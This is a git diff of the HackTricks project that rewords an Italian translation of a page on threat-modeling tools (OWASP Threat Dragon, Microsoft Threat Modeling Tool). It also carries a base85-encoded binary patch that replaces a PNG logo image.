-Tieni presente che c'è una differenza tra Minacce agli Attori e Minacce ai Processi. Se aggiungi una minaccia a un Attore, potrai scegliere solo "Spoofing" e "Repudiation". Tuttavia, nel nostro esempio aggiungiamo una minaccia a un'entità di Processo, quindi vedremo questo nella casella di creazione della minaccia: +Tieni presente che c'è una differenza tra Minacce degli Attori e Minacce dei Processi. Se aggiungi una minaccia a un Attore, potrai scegliere solo "Spoofing" e "Repudiation". Tuttavia, nel nostro esempio aggiungiamo una minaccia a un'entità di Processo, quindi vedremo questo nella casella di creazione della minaccia:
6. Fatto -Ora il tuo modello finito dovrebbe apparire così. E questo è come crei un semplice modello di minaccia con OWASP Threat Dragon. +Ora il tuo modello finito dovrebbe apparire così. E questo è come crei un semplice threat model con OWASP Threat Dragon.
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -Questo è uno strumento gratuito di Microsoft che aiuta a trovare minacce nella fase di design dei progetti software. Utilizza la metodologia STRIDE ed è particolarmente adatto per coloro che sviluppano sulla piattaforma Microsoft. +Questo è uno strumento gratuito di Microsoft che aiuta a trovare minacce nella fase di design dei progetti software. Utilizza la metodologia STRIDE ed è particolarmente adatto per coloro che sviluppano sulla stack di Microsoft. + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/images/cyberhelmets-logo.png b/src/images/cyberhelmets-logo.png index c2c9a957b2fb7845264fb4cacb4e0534afa85660..f766e953ae0067247e1a176c851aed6976a9f144 100644 GIT binary patch delta 15394 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 delta 15181 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 